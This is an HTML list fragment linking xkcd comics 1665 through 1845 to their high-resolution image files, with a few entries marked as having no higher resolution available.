&lt;li>1665: &lt;a href="https://imgs.xkcd.com/comics/city_talk_pages_2x.png">https://imgs.xkcd.com/comics/city_talk_pages_2x.png&lt;/a>&lt;/li>
&lt;li>1666: &lt;a href="https://imgs.xkcd.com/comics/brain_upload_2x.png">https://imgs.xkcd.com/comics/brain_upload_2x.png&lt;/a>&lt;/li>
&lt;li>1667: No higher res available&lt;/li>
&lt;li>1668: &lt;a href="https://imgs.xkcd.com/comics/singularity_2x.png">https://imgs.xkcd.com/comics/singularity_2x.png&lt;/a>&lt;/li>
&lt;li>1669: &lt;a href="https://imgs.xkcd.com/comics/planespotting_2x.png">https://imgs.xkcd.com/comics/planespotting_2x.png&lt;/a>&lt;/li>
&lt;li>1670: &lt;a href="https://imgs.xkcd.com/comics/laws_of_physics_2x.png">https://imgs.xkcd.com/comics/laws_of_physics_2x.png&lt;/a>&lt;/li>
&lt;li>1671: &lt;a href="https://imgs.xkcd.com/comics/arcane_bullshit_2x.png">https://imgs.xkcd.com/comics/arcane_bullshit_2x.png&lt;/a>&lt;/li>
&lt;li>1672: &lt;a href="https://imgs.xkcd.com/comics/women_on_20s_2x.png">https://imgs.xkcd.com/comics/women_on_20s_2x.png&lt;/a>&lt;/li>
&lt;li>1673: &lt;a href="https://imgs.xkcd.com/comics/timeline_of_bicycle_design_2x.png">https://imgs.xkcd.com/comics/timeline_of_bicycle_design_2x.png&lt;/a>&lt;/li>
&lt;li>1674: &lt;a href="https://imgs.xkcd.com/comics/adult_2x.png">https://imgs.xkcd.com/comics/adult_2x.png&lt;/a>&lt;/li>
&lt;li>1675: &lt;a href="https://imgs.xkcd.com/comics/message_in_a_bottle_2x.png">https://imgs.xkcd.com/comics/message_in_a_bottle_2x.png&lt;/a>&lt;/li>
&lt;li>1676: &lt;a href="https://imgs.xkcd.com/comics/full_width_justification_2x.png">https://imgs.xkcd.com/comics/full_width_justification_2x.png&lt;/a>&lt;/li>
&lt;li>1677: &lt;a href="https://imgs.xkcd.com/comics/contrails_2x.png">https://imgs.xkcd.com/comics/contrails_2x.png&lt;/a>&lt;/li>
&lt;li>1678: &lt;a href="https://imgs.xkcd.com/comics/recent_searches_2x.png">https://imgs.xkcd.com/comics/recent_searches_2x.png&lt;/a>&lt;/li>
&lt;li>1679: &lt;a href="https://imgs.xkcd.com/comics/substitutions_3_2x.png">https://imgs.xkcd.com/comics/substitutions_3_2x.png&lt;/a>&lt;/li>
&lt;li>1680: &lt;a href="https://imgs.xkcd.com/comics/black_hole_2x.png">https://imgs.xkcd.com/comics/black_hole_2x.png&lt;/a>&lt;/li>
&lt;li>1681: &lt;a href="https://imgs.xkcd.com/comics/laser_products_2x.png">https://imgs.xkcd.com/comics/laser_products_2x.png&lt;/a>&lt;/li>
&lt;li>1682: &lt;a href="https://imgs.xkcd.com/comics/bun_2x.png">https://imgs.xkcd.com/comics/bun_2x.png&lt;/a>&lt;/li>
&lt;li>1683: &lt;a href="https://imgs.xkcd.com/comics/digital_data_2x.png">https://imgs.xkcd.com/comics/digital_data_2x.png&lt;/a>&lt;/li>
&lt;li>1684: &lt;a href="https://imgs.xkcd.com/comics/rainbow_2x.png">https://imgs.xkcd.com/comics/rainbow_2x.png&lt;/a>&lt;/li>
&lt;li>1685: &lt;a href="https://imgs.xkcd.com/comics/patch_2x.png">https://imgs.xkcd.com/comics/patch_2x.png&lt;/a>&lt;/li>
&lt;li>1686: &lt;a href="https://imgs.xkcd.com/comics/feel_old_2x.png">https://imgs.xkcd.com/comics/feel_old_2x.png&lt;/a>&lt;/li>
&lt;li>1687: &lt;a href="https://imgs.xkcd.com/comics/world_war_iii_2x.png">https://imgs.xkcd.com/comics/world_war_iii_2x.png&lt;/a>&lt;/li>
&lt;li>1688: &lt;a href="https://imgs.xkcd.com/comics/map_age_guide_2x.png">https://imgs.xkcd.com/comics/map_age_guide_2x.png&lt;/a>&lt;/li>
&lt;li>1689: &lt;a href="https://imgs.xkcd.com/comics/my_friend_catherine_2x.png">https://imgs.xkcd.com/comics/my_friend_catherine_2x.png&lt;/a>&lt;/li>
&lt;li>1690: &lt;a href="https://imgs.xkcd.com/comics/time_tracking_software_2x.png">https://imgs.xkcd.com/comics/time_tracking_software_2x.png&lt;/a>&lt;/li>
&lt;li>1691: &lt;a href="https://imgs.xkcd.com/comics/optimization_2x.png">https://imgs.xkcd.com/comics/optimization_2x.png&lt;/a>&lt;/li>
&lt;li>1692: &lt;a href="https://imgs.xkcd.com/comics/man_page_2x.png">https://imgs.xkcd.com/comics/man_page_2x.png&lt;/a>&lt;/li>
&lt;li>1693: &lt;a href="https://imgs.xkcd.com/comics/oxidation_2x.png">https://imgs.xkcd.com/comics/oxidation_2x.png&lt;/a>&lt;/li>
&lt;li>1694: &lt;a href="https://imgs.xkcd.com/comics/phishing_license_2x.png">https://imgs.xkcd.com/comics/phishing_license_2x.png&lt;/a>&lt;/li>
&lt;li>1695: &lt;a href="https://imgs.xkcd.com/comics/code_quality_2_2x.png">https://imgs.xkcd.com/comics/code_quality_2_2x.png&lt;/a>&lt;/li>
&lt;li>1696: &lt;a href="https://imgs.xkcd.com/comics/ai_research_2x.png">https://imgs.xkcd.com/comics/ai_research_2x.png&lt;/a>&lt;/li>
&lt;li>1697: &lt;a href="https://imgs.xkcd.com/comics/intervocalic_fortition_2x.png">https://imgs.xkcd.com/comics/intervocalic_fortition_2x.png&lt;/a>&lt;/li>
&lt;li>1698: &lt;a href="https://imgs.xkcd.com/comics/theft_quadrants_2x.png">https://imgs.xkcd.com/comics/theft_quadrants_2x.png&lt;/a>&lt;/li>
&lt;li>1699: &lt;a href="https://imgs.xkcd.com/comics/local_news_2x.png">https://imgs.xkcd.com/comics/local_news_2x.png&lt;/a>&lt;/li>
&lt;li>1700: &lt;a href="https://imgs.xkcd.com/comics/new_bug_2x.png">https://imgs.xkcd.com/comics/new_bug_2x.png&lt;/a>&lt;/li>
&lt;li>1701: &lt;a href="https://imgs.xkcd.com/comics/speed_and_danger_2x.png">https://imgs.xkcd.com/comics/speed_and_danger_2x.png&lt;/a>&lt;/li>
&lt;li>1702: &lt;a href="https://imgs.xkcd.com/comics/home_itch_remedies_2x.png">https://imgs.xkcd.com/comics/home_itch_remedies_2x.png&lt;/a>&lt;/li>
&lt;li>1703: &lt;a href="https://imgs.xkcd.com/comics/juno_2x.png">https://imgs.xkcd.com/comics/juno_2x.png&lt;/a>&lt;/li>
&lt;li>1704: &lt;a href="https://imgs.xkcd.com/comics/gnome_ann_2x.png">https://imgs.xkcd.com/comics/gnome_ann_2x.png&lt;/a>&lt;/li>
&lt;li>1705: &lt;a href="https://imgs.xkcd.com/comics/pokemon_go_2x.png">https://imgs.xkcd.com/comics/pokemon_go_2x.png&lt;/a>&lt;/li>
&lt;li>1706: &lt;a href="https://imgs.xkcd.com/comics/genetic_testing_2x.png">https://imgs.xkcd.com/comics/genetic_testing_2x.png&lt;/a>&lt;/li>
&lt;li>1707: &lt;a href="https://imgs.xkcd.com/comics/xkcd_phone_4_2x.png">https://imgs.xkcd.com/comics/xkcd_phone_4_2x.png&lt;/a>&lt;/li>
&lt;li>1708: &lt;a href="https://imgs.xkcd.com/comics/dehydration_2x.png">https://imgs.xkcd.com/comics/dehydration_2x.png&lt;/a>&lt;/li>
&lt;li>1709: &lt;a href="https://imgs.xkcd.com/comics/inflection_2x.png">https://imgs.xkcd.com/comics/inflection_2x.png&lt;/a>&lt;/li>
&lt;li>1710: &lt;a href="https://imgs.xkcd.com/comics/walking_into_things_2x.png">https://imgs.xkcd.com/comics/walking_into_things_2x.png&lt;/a>&lt;/li>
&lt;li>1711: &lt;a href="https://imgs.xkcd.com/comics/snapchat_2x.png">https://imgs.xkcd.com/comics/snapchat_2x.png&lt;/a>&lt;/li>
&lt;li>1712: &lt;a href="https://imgs.xkcd.com/comics/politifact_2x.png">https://imgs.xkcd.com/comics/politifact_2x.png&lt;/a>&lt;/li>
&lt;li>1713: &lt;a href="https://imgs.xkcd.com/comics/50_ccs_2x.png">https://imgs.xkcd.com/comics/50_ccs_2x.png&lt;/a>&lt;/li>
&lt;li>1714: &lt;a href="https://imgs.xkcd.com/comics/volcano_types_2x.png">https://imgs.xkcd.com/comics/volcano_types_2x.png&lt;/a>&lt;/li>
&lt;li>1715: &lt;a href="https://imgs.xkcd.com/comics/household_tips_2x.png">https://imgs.xkcd.com/comics/household_tips_2x.png&lt;/a>&lt;/li>
&lt;li>1716: &lt;a href="https://imgs.xkcd.com/comics/time_travel_thesis_2x.png">https://imgs.xkcd.com/comics/time_travel_thesis_2x.png&lt;/a>&lt;/li>
&lt;li>1717: &lt;a href="https://imgs.xkcd.com/comics/pyramid_honey_2x.png">https://imgs.xkcd.com/comics/pyramid_honey_2x.png&lt;/a>&lt;/li>
&lt;li>1718: &lt;a href="https://imgs.xkcd.com/comics/backups_2x.png">https://imgs.xkcd.com/comics/backups_2x.png&lt;/a>&lt;/li>
&lt;li>1719: &lt;a href="https://imgs.xkcd.com/comics/superzoom_2x.png">https://imgs.xkcd.com/comics/superzoom_2x.png&lt;/a>&lt;/li>
&lt;li>1720: &lt;a href="https://imgs.xkcd.com/comics/horses_2x.png">https://imgs.xkcd.com/comics/horses_2x.png&lt;/a>&lt;/li>
&lt;li>1721: &lt;a href="https://imgs.xkcd.com/comics/business_idea_2x.png">https://imgs.xkcd.com/comics/business_idea_2x.png&lt;/a>&lt;/li>
&lt;li>1722: &lt;a href="https://imgs.xkcd.com/comics/debugging_2x.png">https://imgs.xkcd.com/comics/debugging_2x.png&lt;/a>&lt;/li>
&lt;li>1723: &lt;a href="https://imgs.xkcd.com/comics/meteorite_identification_2x.png">https://imgs.xkcd.com/comics/meteorite_identification_2x.png&lt;/a>&lt;/li>
&lt;li>1724: &lt;a href="https://imgs.xkcd.com/comics/proofs_2x.png">https://imgs.xkcd.com/comics/proofs_2x.png&lt;/a>&lt;/li>
&lt;li>1725: &lt;a href="https://imgs.xkcd.com/comics/linear_regression_2x.png">https://imgs.xkcd.com/comics/linear_regression_2x.png&lt;/a>&lt;/li>
&lt;li>1726: &lt;a href="https://imgs.xkcd.com/comics/unicode_2x.png">https://imgs.xkcd.com/comics/unicode_2x.png&lt;/a>&lt;/li>
&lt;li>1727: &lt;a href="https://imgs.xkcd.com/comics/number_of_computers_2x.png">https://imgs.xkcd.com/comics/number_of_computers_2x.png&lt;/a>&lt;/li>
&lt;li>1728: &lt;a href="https://imgs.xkcd.com/comics/cron_mail_2x.png">https://imgs.xkcd.com/comics/cron_mail_2x.png&lt;/a>&lt;/li>
&lt;li>1729: &lt;a href="https://imgs.xkcd.com/comics/migrating_geese_2x.png">https://imgs.xkcd.com/comics/migrating_geese_2x.png&lt;/a>&lt;/li>
&lt;li>1730: &lt;a href="https://imgs.xkcd.com/comics/starshade_2x.png">https://imgs.xkcd.com/comics/starshade_2x.png&lt;/a>&lt;/li>
&lt;li>1731: &lt;a href="https://imgs.xkcd.com/comics/wrong_2x.png">https://imgs.xkcd.com/comics/wrong_2x.png&lt;/a>&lt;/li>
&lt;li>1732: &lt;a href="https://imgs.xkcd.com/comics/earth_temperature_timeline_2x.png">https://imgs.xkcd.com/comics/earth_temperature_timeline_2x.png&lt;/a>&lt;/li>
&lt;li>1733: &lt;a href="https://imgs.xkcd.com/comics/solar_spectrum_2x.png">https://imgs.xkcd.com/comics/solar_spectrum_2x.png&lt;/a>&lt;/li>
&lt;li>1734: &lt;a href="https://imgs.xkcd.com/comics/reductionism_2x.png">https://imgs.xkcd.com/comics/reductionism_2x.png&lt;/a>&lt;/li>
&lt;li>1735: No higher res available&lt;/li>
&lt;li>1736: &lt;a href="https://imgs.xkcd.com/comics/manhattan_project_2x.png">https://imgs.xkcd.com/comics/manhattan_project_2x.png&lt;/a>&lt;/li>
&lt;li>1737: &lt;a href="https://imgs.xkcd.com/comics/datacenter_scale_2x.png">https://imgs.xkcd.com/comics/datacenter_scale_2x.png&lt;/a>&lt;/li>
&lt;li>1738: &lt;a href="https://imgs.xkcd.com/comics/moon_shapes_2x.png">https://imgs.xkcd.com/comics/moon_shapes_2x.png&lt;/a>&lt;/li>
&lt;li>1739: No higher res available&lt;/li>
&lt;li>1740: &lt;a href="https://imgs.xkcd.com/comics/rosetta_2x.png">https://imgs.xkcd.com/comics/rosetta_2x.png&lt;/a>&lt;/li>
&lt;li>1741: &lt;a href="https://imgs.xkcd.com/comics/work_2x.png">https://imgs.xkcd.com/comics/work_2x.png&lt;/a>&lt;/li>
&lt;li>1742: &lt;a href="https://imgs.xkcd.com/comics/will_it_work_2x.png">https://imgs.xkcd.com/comics/will_it_work_2x.png&lt;/a>&lt;/li>
&lt;li>1743: &lt;a href="https://imgs.xkcd.com/comics/coffee_2x.png">https://imgs.xkcd.com/comics/coffee_2x.png&lt;/a>&lt;/li>
&lt;li>1744: No higher res available&lt;/li>
&lt;li>1745: &lt;a href="https://imgs.xkcd.com/comics/record_scratch_2x.png">https://imgs.xkcd.com/comics/record_scratch_2x.png&lt;/a>&lt;/li>
&lt;li>1746: &lt;a href="https://imgs.xkcd.com/comics/making_friends_2x.png">https://imgs.xkcd.com/comics/making_friends_2x.png&lt;/a>&lt;/li>
&lt;li>1747: &lt;a href="https://imgs.xkcd.com/comics/spider_paleontology_2x.png">https://imgs.xkcd.com/comics/spider_paleontology_2x.png&lt;/a>&lt;/li>
&lt;li>1748: &lt;a href="https://imgs.xkcd.com/comics/future_archaeology_2x.png">https://imgs.xkcd.com/comics/future_archaeology_2x.png&lt;/a>&lt;/li>
&lt;li>1749: &lt;a href="https://imgs.xkcd.com/comics/mushrooms_2x.png">https://imgs.xkcd.com/comics/mushrooms_2x.png&lt;/a>&lt;/li>
&lt;li>1750: &lt;a href="https://imgs.xkcd.com/comics/life_goals_2x.png">https://imgs.xkcd.com/comics/life_goals_2x.png&lt;/a>&lt;/li>
&lt;li>1751: &lt;a href="https://imgs.xkcd.com/comics/movie_folder_2x.png">https://imgs.xkcd.com/comics/movie_folder_2x.png&lt;/a>&lt;/li>
&lt;li>1752: &lt;a href="https://imgs.xkcd.com/comics/interplanetary_experience_2x.png">https://imgs.xkcd.com/comics/interplanetary_experience_2x.png&lt;/a>&lt;/li>
&lt;li>1753: &lt;a href="https://imgs.xkcd.com/comics/thumb_war_2x.png">https://imgs.xkcd.com/comics/thumb_war_2x.png&lt;/a>&lt;/li>
&lt;li>1754: &lt;a href="https://imgs.xkcd.com/comics/tornado_safety_tips_2x.png">https://imgs.xkcd.com/comics/tornado_safety_tips_2x.png&lt;/a>&lt;/li>
&lt;li>1755: &lt;a href="https://imgs.xkcd.com/comics/old_days_2x.png">https://imgs.xkcd.com/comics/old_days_2x.png&lt;/a>&lt;/li>
&lt;li>1756: &lt;a href="https://imgs.xkcd.com/comics/im_with_her_2x.png">https://imgs.xkcd.com/comics/im_with_her_2x.png&lt;/a>&lt;/li>
&lt;li>1757: &lt;a href="https://imgs.xkcd.com/comics/november_2016_2x.png">https://imgs.xkcd.com/comics/november_2016_2x.png&lt;/a>&lt;/li>
&lt;li>1758: &lt;a href="https://imgs.xkcd.com/comics/astrophysics_2x.png">https://imgs.xkcd.com/comics/astrophysics_2x.png&lt;/a>&lt;/li>
&lt;li>1759: &lt;a href="https://imgs.xkcd.com/comics/british_map_2x.png">https://imgs.xkcd.com/comics/british_map_2x.png&lt;/a>&lt;/li>
&lt;li>1760: &lt;a href="https://imgs.xkcd.com/comics/tv_problems_2x.png">https://imgs.xkcd.com/comics/tv_problems_2x.png&lt;/a>&lt;/li>
&lt;li>1761: &lt;a href="https://imgs.xkcd.com/comics/blame_2x.png">https://imgs.xkcd.com/comics/blame_2x.png&lt;/a>&lt;/li>
&lt;li>1762: &lt;a href="https://imgs.xkcd.com/comics/moving_boxes_2x.png">https://imgs.xkcd.com/comics/moving_boxes_2x.png&lt;/a>&lt;/li>
&lt;li>1763: &lt;a href="https://imgs.xkcd.com/comics/catcalling_2x.png">https://imgs.xkcd.com/comics/catcalling_2x.png&lt;/a>&lt;/li>
&lt;li>1764: &lt;a href="https://imgs.xkcd.com/comics/xkcde_2x.png">https://imgs.xkcd.com/comics/xkcde_2x.png&lt;/a>&lt;/li>
&lt;li>1765: &lt;a href="https://imgs.xkcd.com/comics/baby_post_2x.png">https://imgs.xkcd.com/comics/baby_post_2x.png&lt;/a>&lt;/li>
&lt;li>1766: &lt;a href="https://imgs.xkcd.com/comics/apple_spectrum_2x.png">https://imgs.xkcd.com/comics/apple_spectrum_2x.png&lt;/a>&lt;/li>
&lt;li>1767: &lt;a href="https://imgs.xkcd.com/comics/us_state_names_2x.png">https://imgs.xkcd.com/comics/us_state_names_2x.png&lt;/a>&lt;/li>
&lt;li>1768: &lt;a href="https://imgs.xkcd.com/comics/settling_2x.png">https://imgs.xkcd.com/comics/settling_2x.png&lt;/a>&lt;/li>
&lt;li>1769: &lt;a href="https://imgs.xkcd.com/comics/never_seen_star_wars_2x.png">https://imgs.xkcd.com/comics/never_seen_star_wars_2x.png&lt;/a>&lt;/li>
&lt;li>1770: &lt;a href="https://imgs.xkcd.com/comics/ui_change_2x.png">https://imgs.xkcd.com/comics/ui_change_2x.png&lt;/a>&lt;/li>
&lt;li>1771: &lt;a href="https://imgs.xkcd.com/comics/it_was_i_2x.png">https://imgs.xkcd.com/comics/it_was_i_2x.png&lt;/a>&lt;/li>
&lt;li>1772: &lt;a href="https://imgs.xkcd.com/comics/startup_opportunity_2x.png">https://imgs.xkcd.com/comics/startup_opportunity_2x.png&lt;/a>&lt;/li>
&lt;li>1773: &lt;a href="https://imgs.xkcd.com/comics/negativity_2x.png">https://imgs.xkcd.com/comics/negativity_2x.png&lt;/a>&lt;/li>
&lt;li>1774: &lt;a href="https://imgs.xkcd.com/comics/adjective_foods_2x.png">https://imgs.xkcd.com/comics/adjective_foods_2x.png&lt;/a>&lt;/li>
&lt;li>1775: &lt;a href="https://imgs.xkcd.com/comics/things_you_learn_2x.png">https://imgs.xkcd.com/comics/things_you_learn_2x.png&lt;/a>&lt;/li>
&lt;li>1776: &lt;a href="https://imgs.xkcd.com/comics/reindeer_2x.png">https://imgs.xkcd.com/comics/reindeer_2x.png&lt;/a>&lt;/li>
&lt;li>1777: &lt;a href="https://imgs.xkcd.com/comics/dear_diary_2x.png">https://imgs.xkcd.com/comics/dear_diary_2x.png&lt;/a>&lt;/li>
&lt;li>1778: No higher res available&lt;/li>
&lt;li>1779: &lt;a href="https://imgs.xkcd.com/comics/2017_2x.png">https://imgs.xkcd.com/comics/2017_2x.png&lt;/a>&lt;/li>
&lt;li>1780: &lt;a href="https://imgs.xkcd.com/comics/appliance_repair_2x.png">https://imgs.xkcd.com/comics/appliance_repair_2x.png&lt;/a>&lt;/li>
&lt;li>1781: &lt;a href="https://imgs.xkcd.com/comics/artifacts_2x.png">https://imgs.xkcd.com/comics/artifacts_2x.png&lt;/a>&lt;/li>
&lt;li>1782: &lt;a href="https://imgs.xkcd.com/comics/team_chat_2x.png">https://imgs.xkcd.com/comics/team_chat_2x.png&lt;/a>&lt;/li>
&lt;li>1783: &lt;a href="https://imgs.xkcd.com/comics/emails_2x.png">https://imgs.xkcd.com/comics/emails_2x.png&lt;/a>&lt;/li>
&lt;li>1784: &lt;a href="https://imgs.xkcd.com/comics/bad_map_projection_liquid_resize_2x.png">https://imgs.xkcd.com/comics/bad_map_projection_liquid_resize_2x.png&lt;/a>&lt;/li>
&lt;li>1785: &lt;a href="https://imgs.xkcd.com/comics/wifi_2x.png">https://imgs.xkcd.com/comics/wifi_2x.png&lt;/a>&lt;/li>
&lt;li>1786: &lt;a href="https://imgs.xkcd.com/comics/trash_2x.png">https://imgs.xkcd.com/comics/trash_2x.png&lt;/a>&lt;/li>
&lt;li>1787: &lt;a href="https://imgs.xkcd.com/comics/voice_commands_2x.png">https://imgs.xkcd.com/comics/voice_commands_2x.png&lt;/a>&lt;/li>
&lt;li>1788: &lt;a href="https://imgs.xkcd.com/comics/barge_2x.png">https://imgs.xkcd.com/comics/barge_2x.png&lt;/a>&lt;/li>
&lt;li>1789: &lt;a href="https://imgs.xkcd.com/comics/phone_numbers_2x.png">https://imgs.xkcd.com/comics/phone_numbers_2x.png&lt;/a>&lt;/li>
&lt;li>1790: &lt;a href="https://imgs.xkcd.com/comics/sad_2x.png">https://imgs.xkcd.com/comics/sad_2x.png&lt;/a>&lt;/li>
&lt;li>1791: &lt;a href="https://imgs.xkcd.com/comics/telescopes_refractor_vs_reflector_2x.png">https://imgs.xkcd.com/comics/telescopes_refractor_vs_reflector_2x.png&lt;/a>&lt;/li>
&lt;li>1792: &lt;a href="https://imgs.xkcd.com/comics/bird_plane_superman_2x.png">https://imgs.xkcd.com/comics/bird_plane_superman_2x.png&lt;/a>&lt;/li>
&lt;li>1793: &lt;a href="https://imgs.xkcd.com/comics/soda_sugar_comparisons_2x.png">https://imgs.xkcd.com/comics/soda_sugar_comparisons_2x.png&lt;/a>&lt;/li>
&lt;li>1794: &lt;a href="https://imgs.xkcd.com/comics/fire_2x.png">https://imgs.xkcd.com/comics/fire_2x.png&lt;/a>&lt;/li>
&lt;li>1795: &lt;a href="https://imgs.xkcd.com/comics/all_you_can_eat_2x.png">https://imgs.xkcd.com/comics/all_you_can_eat_2x.png&lt;/a>&lt;/li>
&lt;li>1796: &lt;a href="https://imgs.xkcd.com/comics/focus_knob_2x.png">https://imgs.xkcd.com/comics/focus_knob_2x.png&lt;/a>&lt;/li>
&lt;li>1797: &lt;a href="https://imgs.xkcd.com/comics/stardew_valley_2x.png">https://imgs.xkcd.com/comics/stardew_valley_2x.png&lt;/a>&lt;/li>
&lt;li>1798: &lt;a href="https://imgs.xkcd.com/comics/box_plot_2x.png">https://imgs.xkcd.com/comics/box_plot_2x.png&lt;/a>&lt;/li>
&lt;li>1799: &lt;a href="https://imgs.xkcd.com/comics/bad_map_projection_time_zones_2x.png">https://imgs.xkcd.com/comics/bad_map_projection_time_zones_2x.png&lt;/a>&lt;/li>
&lt;li>1800: &lt;a href="https://imgs.xkcd.com/comics/chess_notation_2x.png">https://imgs.xkcd.com/comics/chess_notation_2x.png&lt;/a>&lt;/li>
&lt;li>1801: &lt;a href="https://imgs.xkcd.com/comics/decision_paralysis_2x.png">https://imgs.xkcd.com/comics/decision_paralysis_2x.png&lt;/a>&lt;/li>
&lt;li>1802: &lt;a href="https://imgs.xkcd.com/comics/phone_2x.png">https://imgs.xkcd.com/comics/phone_2x.png&lt;/a>&lt;/li>
&lt;li>1803: &lt;a href="https://imgs.xkcd.com/comics/location_reviews_2x.png">https://imgs.xkcd.com/comics/location_reviews_2x.png&lt;/a>&lt;/li>
&lt;li>1804: &lt;a href="https://imgs.xkcd.com/comics/video_content_2x.png">https://imgs.xkcd.com/comics/video_content_2x.png&lt;/a>&lt;/li>
&lt;li>1805: &lt;a href="https://imgs.xkcd.com/comics/unpublished_discoveries_2x.png">https://imgs.xkcd.com/comics/unpublished_discoveries_2x.png&lt;/a>&lt;/li>
&lt;li>1806: &lt;a href="https://imgs.xkcd.com/comics/borrow_your_laptop_2x.png">https://imgs.xkcd.com/comics/borrow_your_laptop_2x.png&lt;/a>&lt;/li>
&lt;li>1807: &lt;a href="https://imgs.xkcd.com/comics/listening_2x.png">https://imgs.xkcd.com/comics/listening_2x.png&lt;/a>&lt;/li>
&lt;li>1808: &lt;a href="https://imgs.xkcd.com/comics/hacking_2x.png">https://imgs.xkcd.com/comics/hacking_2x.png&lt;/a>&lt;/li>
&lt;li>1809: &lt;a href="https://imgs.xkcd.com/comics/xkcd_phone_5_2x.png">https://imgs.xkcd.com/comics/xkcd_phone_5_2x.png&lt;/a>&lt;/li>
&lt;li>1810: &lt;a href="https://imgs.xkcd.com/comics/chat_systems_2x.png">https://imgs.xkcd.com/comics/chat_systems_2x.png&lt;/a>&lt;/li>
&lt;li>1811: &lt;a href="https://imgs.xkcd.com/comics/best_tasting_colors_2x.png">https://imgs.xkcd.com/comics/best_tasting_colors_2x.png&lt;/a>&lt;/li>
&lt;li>1812: &lt;a href="https://imgs.xkcd.com/comics/onboarding_2x.png">https://imgs.xkcd.com/comics/onboarding_2x.png&lt;/a>&lt;/li>
&lt;li>1813: &lt;a href="https://imgs.xkcd.com/comics/vomiting_emoji_2x.png">https://imgs.xkcd.com/comics/vomiting_emoji_2x.png&lt;/a>&lt;/li>
&lt;li>1814: &lt;a href="https://imgs.xkcd.com/comics/color_pattern_2x.png">https://imgs.xkcd.com/comics/color_pattern_2x.png&lt;/a>&lt;/li>
&lt;li>1815: &lt;a href="https://imgs.xkcd.com/comics/flag_2x.png">https://imgs.xkcd.com/comics/flag_2x.png&lt;/a>&lt;/li>
&lt;li>1816: &lt;a href="https://imgs.xkcd.com/comics/mispronunciation_2x.png">https://imgs.xkcd.com/comics/mispronunciation_2x.png&lt;/a>&lt;/li>
&lt;li>1817: &lt;a href="https://imgs.xkcd.com/comics/incognito_mode_2x.png">https://imgs.xkcd.com/comics/incognito_mode_2x.png&lt;/a>&lt;/li>
&lt;li>1818: &lt;a href="https://imgs.xkcd.com/comics/rayleigh_scattering_2x.png">https://imgs.xkcd.com/comics/rayleigh_scattering_2x.png&lt;/a>&lt;/li>
&lt;li>1819: &lt;a href="https://imgs.xkcd.com/comics/sweet_16_2x.png">https://imgs.xkcd.com/comics/sweet_16_2x.png&lt;/a>&lt;/li>
&lt;li>1820: &lt;a href="https://imgs.xkcd.com/comics/security_advice_2x.png">https://imgs.xkcd.com/comics/security_advice_2x.png&lt;/a>&lt;/li>
&lt;li>1821: &lt;a href="https://imgs.xkcd.com/comics/incinerator_2x.png">https://imgs.xkcd.com/comics/incinerator_2x.png&lt;/a>&lt;/li>
&lt;li>1822: &lt;a href="https://imgs.xkcd.com/comics/existential_bug_reports_2x.png">https://imgs.xkcd.com/comics/existential_bug_reports_2x.png&lt;/a>&lt;/li>
&lt;li>1823: &lt;a href="https://imgs.xkcd.com/comics/hottest_editors_2x.png">https://imgs.xkcd.com/comics/hottest_editors_2x.png&lt;/a>&lt;/li>
&lt;li>1824: &lt;a href="https://imgs.xkcd.com/comics/identification_chart_2x.png">https://imgs.xkcd.com/comics/identification_chart_2x.png&lt;/a>&lt;/li>
&lt;li>1825: &lt;a href="https://imgs.xkcd.com/comics/7_eleven_2x.png">https://imgs.xkcd.com/comics/7_eleven_2x.png&lt;/a>&lt;/li>
&lt;li>1826: &lt;a href="https://imgs.xkcd.com/comics/birdwatching_2x.png">https://imgs.xkcd.com/comics/birdwatching_2x.png&lt;/a>&lt;/li>
&lt;li>1827: &lt;a href="https://imgs.xkcd.com/comics/survivorship_bias_2x.png">https://imgs.xkcd.com/comics/survivorship_bias_2x.png&lt;/a>&lt;/li>
&lt;li>1828: &lt;a href="https://imgs.xkcd.com/comics/iss_solar_transit_2x.png">https://imgs.xkcd.com/comics/iss_solar_transit_2x.png&lt;/a>&lt;/li>
&lt;li>1829: &lt;a href="https://imgs.xkcd.com/comics/geochronology_2x.png">https://imgs.xkcd.com/comics/geochronology_2x.png&lt;/a>&lt;/li>
&lt;li>1830: &lt;a href="https://imgs.xkcd.com/comics/iss_solar_transit_2_2x.png">https://imgs.xkcd.com/comics/iss_solar_transit_2_2x.png&lt;/a>&lt;/li>
&lt;li>1831: &lt;a href="https://imgs.xkcd.com/comics/here_to_help_2x.png">https://imgs.xkcd.com/comics/here_to_help_2x.png&lt;/a>&lt;/li>
&lt;li>1832: &lt;a href="https://imgs.xkcd.com/comics/photo_library_management_2x.png">https://imgs.xkcd.com/comics/photo_library_management_2x.png&lt;/a>&lt;/li>
&lt;li>1833: &lt;a href="https://imgs.xkcd.com/comics/code_quality_3_2x.png">https://imgs.xkcd.com/comics/code_quality_3_2x.png&lt;/a>&lt;/li>
&lt;li>1834: &lt;a href="https://imgs.xkcd.com/comics/lunch_order_2x.png">https://imgs.xkcd.com/comics/lunch_order_2x.png&lt;/a>&lt;/li>
&lt;li>1835: &lt;a href="https://imgs.xkcd.com/comics/random_obsessions_2x.png">https://imgs.xkcd.com/comics/random_obsessions_2x.png&lt;/a>&lt;/li>
&lt;li>1836: &lt;a href="https://imgs.xkcd.com/comics/okeanos_2x.png">https://imgs.xkcd.com/comics/okeanos_2x.png&lt;/a>&lt;/li>
&lt;li>1837: &lt;a href="https://imgs.xkcd.com/comics/rental_car_2x.png">https://imgs.xkcd.com/comics/rental_car_2x.png&lt;/a>&lt;/li>
&lt;li>1838: &lt;a href="https://imgs.xkcd.com/comics/machine_learning_2x.png">https://imgs.xkcd.com/comics/machine_learning_2x.png&lt;/a>&lt;/li>
&lt;li>1839: &lt;a href="https://imgs.xkcd.com/comics/doctor_visit_2x.png">https://imgs.xkcd.com/comics/doctor_visit_2x.png&lt;/a>&lt;/li>
&lt;li>1840: &lt;a href="https://imgs.xkcd.com/comics/genetic_testing_results_2x.png">https://imgs.xkcd.com/comics/genetic_testing_results_2x.png&lt;/a>&lt;/li>
&lt;li>1841: &lt;a href="https://imgs.xkcd.com/comics/who_2x.png">https://imgs.xkcd.com/comics/who_2x.png&lt;/a>&lt;/li>
&lt;li>1842: &lt;a href="https://imgs.xkcd.com/comics/anti_drone_eagles_2x.png">https://imgs.xkcd.com/comics/anti_drone_eagles_2x.png&lt;/a>&lt;/li>
&lt;li>1843: &lt;a href="https://imgs.xkcd.com/comics/opening_crawl_2x.png">https://imgs.xkcd.com/comics/opening_crawl_2x.png&lt;/a>&lt;/li>
&lt;li>1844: &lt;a href="https://imgs.xkcd.com/comics/voting_systems_2x.png">https://imgs.xkcd.com/comics/voting_systems_2x.png&lt;/a>&lt;/li>
&lt;li>1845: &lt;a href="https://imgs.xkcd.com/comics/state_word_map_2x.png">https://imgs.xkcd.com/comics/state_word_map_2x.png&lt;/a>&lt;/li>
